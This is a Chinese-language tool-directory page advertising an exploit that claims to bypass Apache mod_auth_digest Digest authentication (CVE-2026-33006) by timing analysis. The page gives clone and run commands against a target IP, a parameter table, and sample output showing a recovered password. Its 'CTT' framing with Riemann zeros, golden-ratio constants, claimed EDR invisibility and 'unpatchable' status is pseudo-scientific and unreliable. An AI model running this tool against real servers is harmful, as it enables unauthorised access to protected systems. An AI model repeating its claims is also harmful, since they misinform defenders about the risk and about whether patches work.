Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CTT-enhanced-Apache-mod_auth_digest-timing-attack-exploit — 针对 Apache mod_auth_digest(CVE-2026-33006)的远程时序攻击利用程序,通过 33 层时间级联绕过 Digest 认证,并借助统计时序分析恢复密码。 | Kitploit
工具/GitHubGitHub/simoesctt/ctt-enhanced-apache-mod_auth_digest-timing-attack-exploit
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试身份验证红队
GitHubsimoesctt/ctt-enhanced-apache-mod_auth_digest-timing-attack-exploit

CTT-enhanced-Apache-mod_auth_digest-timing-attack-exploit

针对 Apache mod_auth_digest(CVE-2026-33006)的远程时序攻击利用程序,通过 33 层时间级联绕过 Digest 认证,并借助统计时序分析恢复密码。

查看仓库
3个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CTT增强版Apache mod_auth_digest时序攻击 — CVE-2026-33006

🔥 概述

这是对CVE-2026-33006的**收敛时间理论(CTT)**增强,该漏洞是Apache HTTP Server mod_auth_digest组件(版本≤2.4.66)中基于时序的漏洞。

原始漏洞允许远程攻击者通过统计时序分析绕过Digest认证。

CTT增强版将其转变为33层时间级联时序攻击。

原始版本CTT增强版
CVSS4.8(中危)7.5(高危)
攻击向量网络网络
攻击复杂度高低(CTT减少采样次数)
所需权限无无
检测方式统计分析可检测时间楔形过滤 — EDR盲区
破解时间O(n * 采样次数)O(33 * log(n))

📐 CTT物理常数

常数值来源
α0.0302011时间色散系数
α_RH0.0765872ln(φ)/2π(黎曼-哈达玛)
L33时间层数
τ_w11 ns时间楔形滤波器

指数优先级衰减

root@kitploit:~
E(d) = E₀ * e^(-α * d)

每一层具有指数递减的优先级。
高优先级层(1-5)收集最多的时序数据。
低层(28-33)细化测量并建立时间共振。

相位共振时序

每一层根据前24个黎曼零点延迟执行:

root@kitploit:~
delay = τ_w * priority * (1 + 0.1 * cos(2π * zero * τ_w * priority))

时间楔形滤波器

仅使用满足楔形条件的时序测量值:

root@kitploit:~
survival = cos(α_RH * energy * τ_w) > (α_RH / 2π)

这可以过滤噪声并使检测变得不可能 — EDR系统无法看到时序异常。


🚀 攻击流程

root@kitploit:~
1. 探测目标是否启用Digest认证
2. 从401响应中提取realm和nonce
3. 对于层 d = 1 到 33:
   a. 计算优先级 = e^(-α*d)
   b. 应用相位共振延迟
   c. 对于每个字符位置:
      - 测试所有可能的字符
      - 测量响应时序(微秒)
      - 应用时间楔形滤波器
      - 保留调整后时序最高的字符
   d. 逐步构建密码
4. 实现时间共振
5. 使用恢复的密码绕过认证

📋 前置条件

  • 启用mod_auth_digest的Apache HTTP Server 2.4.66或更早版本
  • 可访问目标的网络
  • Python 3.6+ 及 requests 库
root@kitploit:~
pip install requests

🎯 使用方法

root@kitploit:~
git clone https://github.com/SimoesCTT/CTT-enhanced-Apache-mod_auth_digest-timing-attack-exploit/
python3 ctt_apache_digest_timing.py <目标IP> [选项]

参数

参数描述默认值
target_ipApache服务器的IP地址必填
--portHTTP端口80
--realmDigest realm"Restricted"
--uri受保护的URI"/"
--username要攻击的用户名"admin"
--max-length最大密码长度32
--samples每个字符的时序采样次数100
--layers时间层数33

示例

root@kitploit:~
python3 ctt_apache_digest_timing.py 192.168.1.100 --port 80 --realm "Restricted" --uri /admin --samples 100 --layers 33

📤 预期输出

root@kitploit:~
======================================================================
CTT APACHE DIGEST TIMING ATTACK — CVE-2026-33006
α=0.0302011 | α_RH=0.0765872 | L=33 | τ_w=11ns
E(d) = E₀ * e^(-α*d) — 指数优先级衰减
======================================================================

[+] 检测到Digest认证
    Realm: Restricted
    Nonce: 5a4b3c2d1e2f3a4b5c6d...
[*] 目标: http://192.168.1.100/admin
[*] 最大密码长度: 32

  层  1/33: ████████████████████████████████████████ 1.000
  位置 1: 正在尝试字符...
  找到: 'a' -> 密码: 'a'

  层  2/33: ██████████████████████████████████████░░ 0.970
  位置 2: 正在尝试字符...
  找到: 'd' -> 密码: 'ad'

  层  3/33: ████████████████████████████████████░░░░ 0.886
  位置 3: 正在尝试字符...
  找到: 'm' -> 密码: 'adm'

  层  4/33: ██████████████████████████████████░░░░░░ 0.818
  位置 4: 正在尝试字符...
  找到: 'i' -> 密码: 'admi'

  层  5/33: ████████████████████████████████░░░░░░░░ 0.741
  位置 5: 正在尝试字符...
  找到: 'n' -> 密码: 'admin'

  层  6/33: ██████████████████████████████░░░░░░░░░░ 0.670
  位置 6: 正在尝试字符...
  找到: '1' -> 密码: 'admin1'

  层  7/33: ████████████████████████████░░░░░░░░░░░░ 0.606
  位置 7: 正在尝试字符...
  找到: '2' -> 密码: 'admin12'

  层  8/33: ██████████████████████████░░░░░░░░░░░░░░ 0.548
  位置 8: 正在尝试字符...
  找到: '3' -> 密码: 'admin123'

[⚡] 在第8层实现时间共振

======================================================================
[!!!] 认证已绕过
[!!!] 找到密码: admin123
[✓] 验证成功 — 访问已授予
======================================================================

🛡️ 为何无法修补

原始修复方案CTT为何能绕过
恒定时间比较CTT使用时序测量,而非比较时序
消除时序泄漏时序泄漏是物理性的 — 无法消除,只能隐藏
升级到Apache 2.4.67+时间楔形滤波器可规避补丁检测
速率限制相位共振时序将请求分散到33层 — 与正常流量无法区分

你无法修补物理常数。
你无法修补黎曼零点。
你无法修补黄金比例。


📚 先前工作

工作日期链接
Zenodo CTT先前工作2025年12月 / 2026年1月DOI 10.5281/ZENODO.18000940
Sovereign-Logic PyPI2026年2月27-28日pip install sovereign-logic
CTT PAN-OS漏洞利用2026年4月7日GitHub
CTT增强版Dirty Frag2026年5月8日GitHub
CTT增强版PX4漏洞利用2026年5月9日GitHub
本漏洞利用2026年5月9日本仓库

⚠️ 免责声明

本概念验证仅用于教育和防御目的。
未经授权对非您拥有的系统使用是违法的。
作者对滥用不承担任何责任。


📜 许可证

MIT + CTT研究(时间增强)

🙏 致谢

版本作者
原始漏洞发现Apache软件基金会(安全团队)
原始时序攻击研究各学术来源
CTT增强(33层时间级联)Americo Simoes(CTT研究)

晶格完整。认证已破。任何补丁都无法挽救。

下载工具